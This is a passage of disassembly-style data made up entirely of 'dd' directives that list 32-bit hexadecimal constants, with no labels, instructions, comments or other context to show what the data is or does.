		dd 930353Eh, 0D9FEAF68h, 0FF804BEAh, 1FA06850h,	584EA718h
		dd 65E4E95Ah, 21CEB79Ch, 6D97168Ah, 97833E53h, 20EA1005h
		dd 377A94DBh, 794B0F25h, 0A2004B24h, 1E66C23Fh,	95B3E910h
		dd 7AB76809h, 51A8B0FFh, 90DFF857h, 0F4305FA1h,	0C5FE930h
		dd 0E2EF9EC5h, 13FC112Bh, 64A871A1h, 6F16E416h,	25D74DF3h
		dd 4D490DEEh, 0E27F15FDh, 2277D11h, 0C1AF13DAh,	0F86E812Fh
		dd 5DF38043h, 741AC53h,	0DF790105h, 15455072h, 2D045B7Ch
		dd 5F9F57A4h, 7411DF8h,	6E568F40h, 0E924E7CCh, 0E0C4B7EAh
		dd 7DBB5E25h, 0EBCA5E13h, 0D49DB070h, 0C2EADA80h, 0E27F250Bh
		dd 72065776h, 0E817651h, 6EECEA89h, 8A66814h, 5E9D0BDh
		dd 421E5A62h, 7195E601h, 0C52E7FA6h, 3CA7BE6Dh,	0CE8C10Fh
		dd 47D1C849h, 8AC7654Bh, 0EACAC9Eh, 0E0517B8h, 9E35F302h
		dd 50CAB0E7h, 892330E9h, 727CBB82h, 0C4A340EEh,	246103D0h
		dd 0F89742B5h, 92B1E836h, 39C14898h, 5245AB4Ah,	0CEAE1FCAh
		dd 12A65D07h, 0AC52E029h, 0A7507691h, 8105E801h, 712A292Dh
		dd 0C60FCF7h, 53161326h, 0F19F0050h, 692585D5h,	9D20AF90h
		dd 0DB2B266Ch, 12AB05DFh, 7201BF90h, 0BD895833h, 740B08F0h
		dd 0ACC00706h, 0A010E5DCh, 28EE53F0h, 958B6B06h, 6252D7Dh
		dd 0A3A4F6E8h, 0B5201850h, 1EDE8116h, 46E28E81h, 307CFFC2h
		dd 7301B88Dh, 85891C1Ah, 458C1B11h, 0F19B4C3h, 1FD38F6Eh
		dd 78E4FB09h, 4D85F8D8h, 0E91886AAh, 901D230Ah,	5A6D0E01h
		dd 0C927042Ah, 5906CCh,	3CBCB7EAh, 0ACBD918h, 0F9C55307h
		dd 0B8B0E92Eh, 1FD7DE3Eh, 4960CFh, 0BEF36E85h, 0E15C42BDh
		dd 532200AEh, 0A56DF929h, 304A72Ah, 0E02FD201h,	809E8689h
		dd 74BF0518h, 0BE68A4h,	0A56FDFCFh, 0B3D12BC1h,	5EE02C00h
		dd 6FA14C7h, 298A641Bh,	0CEF1210Bh, 0E3105212h,	8F78989h
		dd 66CC448Ah, 8887FA84h, 4280D813h, 65CB072Eh, 0C064C2E3h
		dd 9D9304D5h, 0CC294C00h, 1E6ABC98h, 0A4BD00CAh, 0C18680A0h
		dd 8F00DD0Dh, 63CE7E11h, 1D9596ACh, 40D6B877h, 2FEEC1D5h
		dd 1E00DA6Ch, 0B1CE541Fh, 32DF475h, 3C7A6AAh, 51D01017h
		dd 0E400D18Eh, 0ACAB4071h, 305E1DF4h, 0EE560B67h, 7300767Ah
		dd 0B8B20E72h, 38EFFC7Bh, 0EC0791D2h, 0C183741Ah, 0C409275Eh
		dd 0EAF04F75h, 0CC246F00h, 7DACDE2Fh, 4DC400B3h, 0FA011C67h
		dd 1400C9E6h, 78C62AA6h, 8AD60Eh, 60C65E0h, 0E469C48Dh
		dd 6BCFEB00h, 3B26FD0Bh, 0D0E700E2h, 20F67194h,	1E0F51D5h
		dd 0E12DB7h, 0A443CD50h, 0A5FC0023h, 3F48DAE5h,	0DE09C241h
		dd 12BEF62h, 0EC470B00h, 7B9770h, 0D6F5D736h, 4A0FB8A4h
		dd 0C96BEF01h, 0A9DD1875h, 94F8FCh, 0C40B0A5Ah,	385BBA2Ah
		dd 0A64D2400h, 6F96970h, 3FD2766Ch, 0C30EF379h,	3C60541Ah
		dd 0A2B97B11h, 33F5FC00h, 229B4155h, 0FA940021h, 87CB8A69h
		dd 29001DBEh, 0C9D6AA25h, 3B77B90Eh, 42009027h,	0E3891B6Eh
		dd 7C00C119h, 63F3C633h, 7FA9A0F8h, 0A1F90F78h,	544E4E2Eh
		dd 29D20621h, 3391D8B4h, 0CE945Ch, 247CF8AAh, 786A79h
		dd 0B03AAFA5h, 5A63FC0Ch, 42C5C914h, 0B13BEFh, 18281FECh
		dd 0A4492Fh, 1FA9262h, 52B7CB51h, 89FB58h, 83CEE759h, 240D321Dh
		dd 39A4694Dh, 3EB42880h, 2BC3A2B6h, 7DF4E000h, 59416E55h
		dd 0D5BB501Ah, 0DD5039F1h, 877BE980h, 77EB179Eh, 2885CD00h
		dd 5CB97A2Dh, 33B30F70h, 835D5972h, 0CA5BDB3Ch,	0FDCEB798h
		dd 0D53F1C05h, 8D832D8Ch, 0E33DF2BDh, 0B59AD84Fh, 49940C5Fh
		dd 0FC4A259Fh, 0EF4ED49h, 7EE9C65Dh, 0DE0F7464h, 0C520A598h
		dd 0BFF2D000h, 0ECB597h, 2E70F84Eh, 4622597Bh, 3E7F0207h
		dd 52102CA8h, 72CF12C6h, 0C2960066h, 3A93E387h,	0B41FC94Dh
		dd 6380FC8Fh, 900B1365h, 0E969009Ah, 35B6F748h,	30008D5h
		dd 34F2A56Eh, 3D9DDD3Fh, 0FF8E1CD6h, 51402719h,	44243987h
		dd 0B1529000h, 58FC3473h, 0B4EA2Fh, 5EC23331h, 69AF05A6h
		dd 0D5889200h, 946409AAh, 287B009Eh, 0E1BCB510h, 0B01F14Ah
		dd 0A7D1D6F3h, 40DA0990h, 602A8463h, 0D86810E5h, 0A00E9A6Dh
		dd 5E345A7Ch, 1D503AC5h, 0DAC2C740h, 0F8D7797Dh, 2FD7C18h
		dd 27B72133h, 0A8802C63h, 8C88E2EFh, 42189B00h,	2089D853h
		dd 0A8ECEC25h, 0E41AECh, 1C519478h, 0AF1E470Eh,	8157F18h
		dd 0B131FEh, 1D54354Ah,	2DE78B02h, 9F9C20FFh, 3C27B621h
		dd 3AC95D0Ah, 0BD9280C4h, 0B9DA3DE0h, 0B8402A00h, 0EC8E1847h
		dd 0F5E90023h, 0BD61CC7Fh, 2900016Eh, 24844819h, 0C003A030h
		dd 566A0D40h, 8B007404h, 0FDAB9C9Eh, 288FCB3h, 0D9B66E2Ah
		dd 10404C6Dh, 0E2FEC8EEh, 5C665660h, 90FB1DECh,	0E0585024h
		dd 7C2101E9h, 0AE835FF4h, 0DE1630CEh, 6A5D270Bh, 3823068Dh
		dd 0BB10048h, 0B5E5EE3Eh, 0F2C17B43h, 4A63CDF7h, 99D8FC25h
		dd 95E50033h, 0E66C1AEEh, 5300FBB1h, 0CB73C28Fh, 42B68Eh
		dd 6F5C4E7h, 54584F03h,	665A3809h, 2CB380C6h, 1CED1426h
		dd 70DB04D4h, 97BCD70h,	0E616F107h, 0FE0B211Ah,	8C1300DAh
		dd 0E2670FD1h, 0AE7A8409h, 9D328223h, 3AAC40FEh, 0FA340078h
		dd 445CA97Fh, 552481FBh, 5200F06Bh, 61DF1529h, 4D9F00B9h
		dd 54846819h, 5103101Ch, 90874C45h, 4286A0F7h, 5633AA3h
		dd 14AC9Fh, 0E0EB0338h,	0CC00E22Bh, 0D4B9CDE8h,	0B211A7h
		dd 18041B65h, 7AFB205Eh, 316E2201h, 3B3A1DB8h, 689F80CFh
		dd 50980196h, 670C92D5h, 7374E4D1h, 0ACF3D400h,	49CD1456h
		dd 7C41023Dh, 2D40B534h, 169B5440h, 0D6513C00h,	4427468Bh
		dd 887401E5h, 7C3F199Fh, 0D83C34D9h, 81A8451Eh,	0D3FB04C0h
		dd 4BCA1Ah, 961D5609h, 0D60B1880h, 40827B00h, 935BF434h
		dd 54441D2Ah, 0E68A4324h, 63E0493Ah, 9B1876CAh,	82791A9Ah
		dd 0AB4B0221h, 250A59AEh, 91E1A460h, 7F0EEF70h,	4032CAB5h
		dd 2C7AA11Bh
		dd 4637001Ah, 0D0201D0Ah, 2E639B28h, 3D79C7C8h,	0AA81F3FEh
		dd 0E84311BAh, 2374D46Ch, 0E2F6B002h, 0E3EDA08Ch, 0E67EB8A0h
		dd 4D270557h, 8094A716h, 2DCD1250h, 0E03AE503h,	35E60Fh
		dd 0FF8E67C8h, 66B8B963h, 979AC300h, 91B53FD4h,	0BBDC00FAh
		dd 0B95F15BFh, 6500F33Ah, 0A76D3F4h, 20BEC4Bh, 0B2C756D8h
		dd 784003BCh, 0A900DA4Dh, 339D3EE2h, 3EA0905h, 0E5EC28CFh
		dd 2AF9868Fh, 0A27C6099h, 7258B698h, 1AC5013h, 9701F09Ah
		dd 1DDAF17Eh, 7CC8E223h, 5166002Ch, 41DB5543h, 39F8D9BDh
		dd 115EB007h, 9100D3A9h, 1C8ADh, 7A8363D1h, 0AE1B0343h
		dd 67195D13h, 0B8D07024h, 1CF977E9h, 0F385C1Ah,	9E0974Ah
		dd 40F128B0h, 0D5831103h, 886E394Fh, 7747A94h, 0B2D7B7A0h
		dd 0C09BD42Ah, 965302CCh, 3B23DB0Bh, 76508060h,	0E8C56h
		dd 0BCD32711h, 0C9FEC0A3h, 28474C00h, 0E176D466h, 0C5370026h
		dd 317A96B3h, 800F3BEh,	0CBA45B61h, 783FD12h, 591446A6h
		dd 10AF47E8h, 0F7E0B43Eh, 44649700h, 0AB8B8ABEh, 0E4B81D19h
		dd 0C5A44013h, 77F01A78h, 2598F800h, 1B3BEE26h,	0E1230075h
		dd 0E8683E70h, 3600BC93h, 2A4F7457h, 142E62Fh, 0F7D55529h
		dd 0ECA8BA34h, 3B01DEF9h, 0B2770CC3h, 91ECA2D6h, 3547CABh
		dd 4D81C640h, 0F488D09Ah, 590052F9h, 0A9C01D0Fh, 9320B5Fh
		dd 0A7499EEAh, 9784A780h, 0B90018FBh, 2BA83053h, 21E3B0Bh
		dd 34DD9CB4h, 0C8A05B77h, 0DA4638D0h, 0DE760900h, 10D542Fh
		dd 62580043h, 0A7EF2206h, 1600FE59h, 3A0BF41Dh,	40B9D2h
		dd 0F71E50F0h, 91DB2146h, 9C681124h, 229E0201h,	332741h
		dd 80853AE8h, 1F557FF0h, 3500A483h, 27AFCAA7h, 70954Fh
		dd 5ED15234h, 0C92A8B7Eh, 3B960600h, 6BB55D36h,	1393001Ch
		dd 5695044Fh, 73AD3B3h,	86A7048Eh, 18C1D64Dh, 0F6FC80FEh
		dd 0B6C602B1h, 18485028h, 91D9F8E0h, 0A7290B0Ch, 0F41A1019h
		dd 0D7BC304Ch, 21413838h, 75007D75h, 49B18719h,	0A040B2A2h
		dd 1CD546AEh, 40BC18DCh, 42BE172Bh, 123CEB8Fh, 329600CBh
		dd 15DD81D8h, 0DA600AFh, 0EE610B23h, 0C21E68D0h, 0D200F7A8h
		dd 3CCC9A9Eh, 2E2902CFh, 776034C1h, 2153CC0h, 0B8856501h
		dd 0AA96D856h, 0D4792980h, 51982DCh, 4EA3321Eh,	0E85BFA80h
		dd 1CEE703Eh, 0C0312458h, 0B52A035Dh, 4B029B20h, 3FDFA805h
		dd 7A79E083h, 3DEA9Fh, 793238A2h, 48B0CE37h, 92D9D00h
		dd 0EA02C251h, 2C17623h, 0D635ACE8h, 0E88E8A42h, 5A0B7000h
		dd 3B004BECh, 0B30E57CFh, 508648h, 1655C88Bh, 8EDA0C2Bh
		dd 59890200h, 5BC66307h, 0F93E00E7h, 61732DC4h,	0B7008E6Fh
		dd 0BA19ED36h, 53A8D3h,	7C6DA75Dh, 15FA2038h, 0CC80E2F9h
		dd 47358339h, 0DA11F16Ah, 8AC2B800h, 0AF87A0h, 0A2FB13Dh
		dd 68A70EB2h, 93E9EC1Ch, 29F42DC0h, 4FB822h, 11520D5Fh
		dd 967594AAh, 0FC900600h, 42A30FFEh, 60570037h,	0CB7F3FFFh
		dd 0C0083EFh, 0E62CB997h, 16983146h, 0F40ADA0h,	0DB4FBF50h
		dd 545DD8E0h, 0F438307Fh, 8DEB00D2h, 0C04466EAh, 88D50FA7h
		dd 29A428ADh, 0A3A9C0A6h, 5200CB1Ah, 148CF80Fh,	3CC5E43Ah
		dd 0BA027275h, 0C4F1E26Ch, 0D8B42060h, 8AD9A100h, 0A3E39440h
		dd 0ED0600AFh, 0DEA2158h, 5903A502h, 55394886h,	1B8EE46h
		dd 0A885F1ADh, 30BFD701h, 8801FBC8h, 0C28A171h,	0E3DC59D4h
		dd 0A28E00B8h, 0FDDC368Ah, 651CF6A3h, 0EEC011C5h, 8E02F152h
		dd 461A00CEh, 79332FD6h, 1C003D72h, 447F3188h, 3F12B383h
		dd 68870B30h, 70ABA62Ah, 57785262h, 0EE206600h,	0E1C1AC34h
		dd 95E050h, 521D8EC6h, 4336E709h, 3CC4A600h, 9CC888ABh
		dd 0A484CC3h, 7254D003h, 0F5A02451h, 0E500A6E0h, 92AF330h
		dd 0CE0B04h, 0F91D67BCh, 23771A53h, 3A45D07h, 2ADA663h
		dd 0A18430h, 103CB16Fh,	6C8A71BCh, 0E2EF3A00h, 1AA6CB32h
		dd 0BADB0075h, 361920A3h, 0A2137B4Fh, 8500BCBBh, 0CF76543Dh
		dd 0CE6D0FA0h, 0C05E0937h, 985B71FFh, 0E7121381h, 2041A416h
		dd 0D3A806EAh, 0F51E7880h, 2DD2EB9Dh, 4AB544A0h, 67E341F7h
		dd 18983CA9h, 0AB212F12h, 0F14900FDh, 3D4ACDA1h, 801814D0h
		dd 26389F9Bh, 28FD606Dh, 0DE96612Ah, 0FAE640C0h, 506A780Eh
		dd 0CB42409h, 2B02F261h, 0E06E220h, 9F9D292Ah, 0A1EA0558h
		dd 45BEBDCh, 0A13CA94Ch, 12E8E048h, 3A550F3Eh, 0E95A1C0Ah
		dd 0EE02D80h, 0FA1470h,	30C78DB8h, 0A48C3DD7h, 6DA8681Fh
		dd 0EA158E00h, 767DC9h,	0CF22DA52h, 426BC61Dh, 2618957Fh
		dd 0CA7197BEh, 2BAF077Eh, 8168A6F0h, 8B677D23h,	41438681h
		dd 79D03F30h, 24150830h, 381667Ch, 57E0ECA7h, 0E4ED1180h
		dd 9EE7AAD7h, 18387B83h, 11FA83C3h, 0CD0CD325h,	81211A7Dh
		dd 28C90CC0h, 0AA11FEBEh, 0B457BB03h, 176E01ADh, 0A2E8758h
		dd 0BCB8FF8Dh, 0AC32007Ch, 2CA0793Ch, 9A00E369h, 2B3F330Eh
		dd 0E870F9BFh, 81A60030h, 0A93EC99Bh, 0A160EC1Bh, 1961E510h
		dd 4FA03D38h, 1D6AC50h,	0FAFB6285h, 4627ABD7h, 0A4206084h
		dd 78BEF853h, 81F0301Fh, 0F1510610h, 7E6AB65Ch,	273CE17Fh
		dd 60551FA5h, 35C0B703h, 6EBDE1EBh, 0BEF51441h,	5DA29F0h
		dd 21AF262Ah, 63BC0411h, 0F9D4E2Ch, 39A1BEDh, 738D2AA8h
		dd 3012B7F5h, 3840FA8Eh, 0FF577CA1h, 1203711Fh,	24EEF84h
		dd 11EE134Ch, 0BC3427E0h, 596E21C0h, 533969F2h,	2084208Dh
		dd 0C7C16449h, 99BC47DAh, 0F399F00h, 4E587DAAh,	0A8A280A3h
		dd 26E7A898h, 28A3B019h, 6422BD30h, 0A8B161Ch, 40E44163h
		dd 0C9D13F9Dh, 0AB377C00h, 0BFBB3B45h, 33720034h, 0B626CCF5h
		dd 9D3CED21h, 0CB8266Ah, 0A7689800h, 0BB167Dh, 0FAD8016Fh
		dd 0B0E1DBC8h, 0ED347105h, 0C285F99Fh, 3E6B3040h, 0AD5A28h
		dd 461DE3ACh, 57210942h, 6120D400h, 7226B60Ch, 0BDA00744h
		dd 1B2A94Ah, 830737FBh,	0F85CA4C0h, 0AAE80F64h,	7C20D6D5h
		dd 3200E7Fh, 39A59B05h,	0F3800163h, 5220869h, 1A442916h
		dd 0C0884924h, 0E1B88C21h, 0EF4D1069h, 0E3570167h, 0EEFD0EEAh
		dd 790898DAh, 0F72B21h,	22092167h, 83FFA066h, 30A8FB57h
		dd 0E0CA09AAh, 4239C07Bh, 9CAC6139h, 72715E71h,	0B71C7800h
		dd 80356F0Dh, 0B9470091h, 76963C69h, 200E5BAAh,	95365763h
		dd 63B39B4h, 2921F7C6h,	0C4BD4828h, 33B98D80h, 2DEEEED9h
		dd 9111F300h, 9F2E3FA9h, 0A1CF3B68h, 0A61423CCh, 5103D057h
		dd 2BFA92DDh, 371E6022h, 0E051F7BEh, 3A88E012h,	0FC8A7D00h
		dd 0E6C4A0BAh, 0AEECE99Eh, 37400B67h, 2442AAB4h, 4805948Eh
		dd 78841AF6h, 42F8FC81h, 990434FEh, 0B66A1100h,	2EFB1280h
		dd 3045B078h, 0BE41962Fh, 0D2796839h, 0C136E60Fh, 0A2108017h
		dd 90A53034h, 0A7040580h, 406A8223h, 606607A8h,	0AA500508h
		dd 0BD303BE4h, 570AC12Eh, 0A1F03BA9h, 92761CC8h, 21F56320h
		dd 91D86FE8h, 63A1542h,	7A60800Dh, 0E9AA6A4Fh, 5092A6h
		dd 0B015A73Dh, 9726CBCEh, 9DDD2701h, 0D15482ECh, 60B79092h
		dd 5667F01Ch, 0D42E310h, 2C8073C8h, 0F0D767F8h,	26A600A2h
		dd 80CB11E7h, 0C8928FCFh, 4247EE0h, 2CA8DC4Ah, 0F8237D24h
		dd 42E1109h, 64801338h,	48C6A765h, 187F70F9h, 401FDBAFh
		dd 7C2523E5h, 86A0827Eh, 596484A1h, 0C3155180h,	0C43C01FEh
		dd 0BE370DA0h, 66885022h, 900F36F4h, 0A521877Fh, 0CC410241h
		dd 6B8256CDh, 1F75F8h
		dd 460B59BEh, 0C00E69AFh, 144180F3h, 0BE233176h, 426202A1h
		dd 1B7DB40Fh, 0C97578FAh, 1A08722h, 0AFF01206h,	0D4470D40h
		dd 0F8738FDAh, 0C8F12F32h, 800CC044h, 60E8A432h, 753E30AAh
		dd 104C38C6h, 0B5861830h, 1715B51h, 887E72ECh, 0F4EDF469h
		dd 0A12515Eh, 0FC0484B4h, 7C82703Eh, 806C8F42h,	9D7D868h
		dd 0AF870BAAh, 3003EB71h, 0CFAA6195h, 18F66041h, 0B0681333h
		dd 2F520980h, 10976011h, 683BB8h, 2DFC6221h, 26E3379Fh
		dd 4E21712h, 0C0385048h, 0A045A95Ah, 0EF227546h, 8072EB3Dh
		dd 80DA8903h, 25E3BE7h,	0E12940F7h, 8800A57Ah, 1367E16h
		dd 89D3935Ch, 0FCEE339Fh, 0CD00CB12h, 6D6968DDh, 982808EFh
		dd 1E7F7602h, 0F07FEC0h, 34D31832h, 65A44058h, 0B3836FB9h
		dd 985911C0h, 72916330h, 667007E3h, 4993C3DFh, 5AD4EC80h
		dd 33022595h, 169B2EFh,	867840DBh, 0FE41C0B6h, 1DAF9DF7h
		dd 91E66C00h, 24530C01h, 0E1B10299h, 80292207h,	0D407A4A9h
		dd 210C76Dh, 7C487484h,	90264C29h, 0FD06009Ch, 26684520h
		dd 0DE307E6Dh, 0BBA33200h, 17F02837h, 26CD1615h, 0EB1440BCh
		dd 0EC3F72C7h, 0AF67CC03h, 97EAAAE7h, 4283D43h,	887C1ED0h
		dd 71D08061h, 0AC2C2BE3h, 7A0924AEh, 1FC88459h,	0C1801649h
		dd 85B1CF6Ah, 8C02797Bh, 7EFA4334h, 3DB8A16Ch, 4C64C9F0h
		dd 0F290966h, 8826E21h,	4602F75Bh, 0B950C9BFh, 6708EE18h
		dd 0C4F2E370h, 0F62E4075h, 0B0A7467h, 0D44C7B76h, 5624AF01h
		dd 3EEC29BDh, 0A7C60041h, 5526DFFBh, 61DD0092h,	96637243h
		dd 5B1212AEh, 4959A86h,	0B3EBE441h, 0A6E5E469h,	0E1425824h
		dd 4074B050h, 7E560134h, 0D17FD647h, 531C2008h,	59F41150h
		dd 49217D30h, 6E94FA5h,	58AA2D3Ah, 3D16C1E3h, 282141F7h
		dd 44F4EE07h, 0B45201C0h, 25D363D9h, 0ED586035h, 9C4C010Bh
		dd 0B0F40A13h, 0D340A900h, 0B1C45EECh, 39681114h, 0A2249644h
		dd 0E6FEF845h, 0AB88C2h, 0A49227C2h, 0B0637100h, 5A781167h
		dd 0D6A11709h, 24B20070h, 0A48B7ED0h, 55A66804h, 8063B8h
		dd 0F7A022Eh, 39A327B9h, 0FE1434A2h, 76715440h,	0CC20FA4Ah
		dd 265FEAD6h, 98D0373Fh, 2580192Eh, 0A0882754h,	3B36ED01h
		dd 0E083F6A6h, 6E84E428h, 578B486h, 123EB005h, 0D882B520h
		dd 0B9DCC926h, 0B7E82180h, 23C00B3Eh, 0B16759C0h, 587998h
		dd 0C275F502h, 166E7D8Eh, 12E4FF3Ah, 2E0752FAh,	0A81A349Fh
		dd 25BE3686h, 0E9370041h, 0FC7FD17Dh, 1200E507h, 6CB24F79h
		dd 0CCFD277Ch, 73A82DF0h, 3EB5048Ch, 629D2011h,	0BCDB20ACh
		dd 0C30EDC3Eh, 0E1EE9CD3h, 0AEE261AAh, 0A03960DCh, 34E784h
		dd 719D2D26h, 1722B17h,	2012CF2h, 4C139B65h, 8082A06Ch
		dd 0CEFC63E7h, 2C9FE880h, 18DFAF8Ch, 61DF1C54h,	377CA118h
		dd 0A8D00014h, 0DDD564E8h, 0BEF96614h, 0B2898098h, 12613ECh
		dd 0A9AFE06Fh, 0CA90DB1Eh, 0BC037C50h, 7C1FF95Bh, 38B4AC5Ch
		dd 0E4D4A540h, 7F2860B1h, 88E901DDh, 0B4A00AA7h, 0C072BFh
		dd 0AAE8E393h, 1C9F451h, 902F8DB6h, 0E0C8FCE7h,	2D1DA5FAh
		dd 0A8DA2A82h, 68C160E0h, 3260D58h, 0E069B787h,	0A003B57h
		dd 763D8259h, 934A14h, 8F6C715Ah, 0F851C303h, 0E024A09Ah
		dd 0AB804C65h, 40CDF307h, 0FA5B01C5h, 0F455FF89h, 26F0874Ch
		dd 0FC0B5ACh, 94F6702h,	0E1D0860Ch, 0F342906Fh,	1AA811B8h
		dd 78420D0h, 48516149h,	7022C2D0h, 0FAE43026h, 0E06920A0h
		dd 0F4C45Dh, 8DCB543Ch,	974815h, 0C1EE125Ch, 0CE3E428Bh
		dd 5A2E20F0h, 3D1DE0CCh, 0E0215E03h, 5535C0E4h,	1A8A0797h
		dd 406092DCh, 761E7A7h,	6AC64A00h, 722AF937h, 0E5550003h
		dd 0C33C0960h, 0ED00078Eh, 40198FCDh, 576E8B9Ah, 0BD0738ECh
		dd 8E9B401Ch, 0C0A81894h, 589D08C7h, 3DB04A86h,	8D924D2Ah
		dd 6950013Dh, 0E7CE561Ch, 8FBAA5B8h, 1E4A1D3Ah,	0ED003A6Ch
		dd 0E04B0391h, 0DA6E306Bh, 6DBDF6D1h, 9A6AF9F0h, 4A32C39h
		dd 6A3341E2h, 0E35FC0C0h, 0A44E84h, 0B3E0D0D4h,	0FF0A692Ch
		dd 0D8448E1Bh, 0E061BA09h, 186D79A4h, 184BE02Bh, 8BF0B0C0h
		dd 0F808D450h, 0A50788B0h, 2493BC7Ch, 5CA43E71h, 0F7FA2C40h
		dd 0F444F7A7h, 84DB0C61h, 733716EAh, 0A0D130FFh, 59A42F7Ch
		dd 79D01920h, 89E8E4BAh, 0C2F541C4h, 31AA9C93h,	3F19DF40h
		dd 0E328902Dh, 8FDC085h, 0E4777258h, 7DF23B8Ah,	0EADF91Dh
		dd 834AEB0h, 6E3C44BAh,	0E97CB4h, 673BD026h, 0E0282802h
		dd 67A9E365h, 0F2F9DC98h, 817D2321h, 2EE4E424h,	819CCC83h
		dd 1E3F3EA7h, 63EAD02Eh, 0AA2A0CA0h, 53439F1h, 455C7420h
		dd 0A97E1481h, 0ACFE1A82h, 0C8B5429h, 26087C0Fh, 58149F8Ah
		dd 0B169ED07h, 0E86474FEh, 0F3E8855h, 0B4AC2015h, 0E5BC418Ch
		dd 0B8081485h, 0E8A34BC9h, 2A652A25h, 0A4840419h, 5BF2F836h
		dd 0CD604C2Dh, 48986959h, 0F213D044h, 2014306Ch, 0FC5463C0h
		dd 228C6452h, 45E48DB2h, 0E3768146h, 647C321Bh,	90265398h
		dd 6271E42h, 26EDF806h,	8719C061h, 884C326Ah, 0C3E0DF69h
		dd 0FB1C02F9h, 0FABA590Ah, 424E94D7h, 8960F87Ch, 84E8BAE0h
		dd 704A820Ch, 9928E680h, 380C7153h, 0F8C50C0h, 4C96A2Ch
		dd 0B8FD1955h, 0E08A09D4h, 10F4293Fh, 4C138203h, 2B712054h
		dd 6092CA28h, 48B0343Ah, 0A1A5C828h, 99BC4680h,	0E4270C8Ch
		dd 0A9CC8244h, 0F10C6746h, 28830A47h, 8CA43454h, 148A25A8h
		dd 99EC6880h, 0C764C20Ch, 9CADB8F0h, 0A21EC551h, 385A1AA5h
		dd 0A990A0AFh, 0B5AEA6B0h, 1492AAE4h, 58D84253h, 0E4BE8674h
		dd 8850AF61h, 1FF8848Dh, 297E1939h, 4D6B51FAh, 2D81BEA8h
		dd 5CA02586h, 0E0D5D835h, 0A901586Ch, 2C33674Ch, 444652FCh
		dd 845F11BBh, 0BCEC40BEh, 6F104660h, 1F8F9E06h,	4DA5DFDDh
		dd 41187364h, 1217F78h,	0CC48AC1Eh, 0DBE82C43h,	0C2F7808Ch
		dd 7B136EDCh, 0F1F370C7h, 672088C8h, 0DB449C20h, 83CA65Bh
		dd 0D43AF90Ch, 3CE828F2h, 4D7ECDE0h, 0D82A8F71h, 6B083C8Eh
		dd 0F1ADFC36h, 0E1985258h, 86806C56h, 70BE3CB3h, 120A7E4Fh
		dd 450D1A7Dh, 40A742A4h, 2DC596C8h, 6B04D6E0h, 0E90A2968h
		dd 0F200FCE2h, 7CD8605h, 9A7E364Fh, 80C80B3Ch, 0F11137EAh
		dd 4CB926AFh, 4133027h,	0E65404A7h, 62035CA6h, 0C844726Fh
		dd 5BB481B5h, 0E13C46ADh, 0FA00A97Ch, 0D474330Ch, 0E9A34DBh
		dd 6CBE480Ah, 771565A0h, 0AA07E1B5h, 0A9EF27E3h, 1339B3F0h
		dd 28080703h, 401CFF47h, 0C4F38D12h, 0EC11ED0Fh, 1D94ED5h
		dd 9F5223AFh, 0A93AA0EFh, 0A62D0B35h, 304B207Dh, 220EF3F0h
		dd 800C6738h, 29E14028h, 78E5BBh, 502505BEh, 0DD682662h
		dd 7EE119C6h, 9ED000B9h, 52F3C8E6h, 4498928Dh, 0DE50EC07h
		dd 3E903C66h, 24A88Fh, 71B0B4FBh, 339DCFEBh, 7CFA80A0h
		dd 0D4941C51h, 773A8F08h, 0B94E00EAh, 4FF2F5Eh,	568A1EE9h
		dd 3E864701h, 5382C0F3h, 49F0E630h, 0BE00C3E0h,	0C2B8C8A1h
		dd 14B90643h, 140748BDh, 41C157A3h, 0F33080BCh,	0BA324287h
		dd 805570C2h, 0E7790146h, 0A563Eh, 0A7BB0384h, 60333D86h
		dd 0E50690E9h, 18DD04B6h, 0EF0A4900h, 3A363F88h, 806C90E9h
		dd 0B3E80B28h, 0F30EEA1Dh, 0E8355403h, 42780CB6h, 45313AC3h
		dd 59EA3037h, 0B5F1BC83h, 0E3B20C21h, 0E6108457h, 0E5684h
		dd 3542BDEEh, 0C4586B8h, 0A1B9E718h, 764B229h, 0E98A1030h
		dd 5F9F8158h, 1F498F8Bh
		dd 0ACDEFA5h, 78001841h, 9E479861h, 879F00E1h, 14204DE7h
		dd 7A39F536h, 991A000Eh, 8BE58832h, 6EB7135Eh, 0E74307D8h
		dd 0E391C058h, 6A1DDF4Dh, 0A2469E3Ah, 1718366h,	4914FF9Fh
		dd 6CA48Eh, 0E8FA2132h,	91351862h, 0DE202863h, 0E8A17202h
		dd 3B659DAh, 0A128D108h, 0B9451832h, 0C84F9ECCh, 8475F68h
		dd 19F731FCh, 1833438Dh, 0D9598FDDh, 92101124h,	0E5C91EE4h
		dd 104402Ah, 0B411DAD4h, 0C1F2AF04h, 8CB8A4F4h,	817AC959h
		dd 31A8A48Bh, 8311E65h,	1D598186h, 0A1F4BD70h, 60443F30h
		dd 2D2620B3h, 5D2828B1h, 3521D0B7h, 0DF629088h,	7381E191h
		dd 8CBF2869h, 0B96F0731h, 687E30B3h, 0C9ECE369h, 4160710Ah
		dd 5E18A4B2h, 2839EA41h, 6EDCA454h, 0E0E3F1BAh,	317BD6F4h
		dd 185C4F31h, 4C4131E4h, 584030A6h, 60A387E3h, 6177919Eh
		dd 18905908h, 23B983FFh, 1D3189DDh, 0B22B8B31h,	4CA26318h
		dd 58887833h, 91EE98E8h, 2024D8A0h, 301528FEh, 21E605D4h
		dd 0A421DE70h, 0DD0AB4B0h, 8DB74A4h, 9B2530B8h,	0C7086951h
		dd 0EBB23042h, 0ECB4891Bh, 8928DC0Ch, 7F42281Bh, 218444B8h
		dd 0C4F82F57h, 421085B7h, 0FC904F8Fh, 88CB428Ch, 6A274448h
		dd 0A29E6C10h, 4FDF117Eh, 0FC048278h, 9AD39E7h,	8289FCAh
		dd 5651FFB8h, 428DAF08h, 7890CAE0h, 5C99B608h, 6C443A13h
		dd 2152845Fh, 833CD98Ch, 7C52E631h, 0B21065Ch, 619DBE0Ah
		dd 84A18C90h, 0AB20D666h, 34921CE8h, 20583196h,	0DE2BF80Ch
		dd 37BC694Dh, 5C106127h, 54F1D9D3h, 26DA08B3h, 0C28CA150h
		dd 0D0669CA3h, 38627E14h, 50722874h, 8DBC654Ch,	9BF009F8h
		dd 0A38E18A2h, 0AFFB11A0h, 0A0F50429h, 98EC293Ah, 0F0263492h
		dd 76900141h, 0A1094567h, 200300E5h, 3FB907BDh,	204FEA0Ah
		dd 58B3E434h, 0F4E7993Eh, 0B7400400h, 83D530FFh, 0A1EE0E9Bh
		dd 7E003E90h, 0B83348B6h, 1454F07h, 3730B3BDh, 7C4688E5h
		dd 0D83DE899h, 0C3401128h, 0BC00457Ch, 0BF073C84h, 736484Fh
		dd 50183B8h, 0C25487D5h, 38E1B3E7h, 34F1E0ECh, 438AEE02h
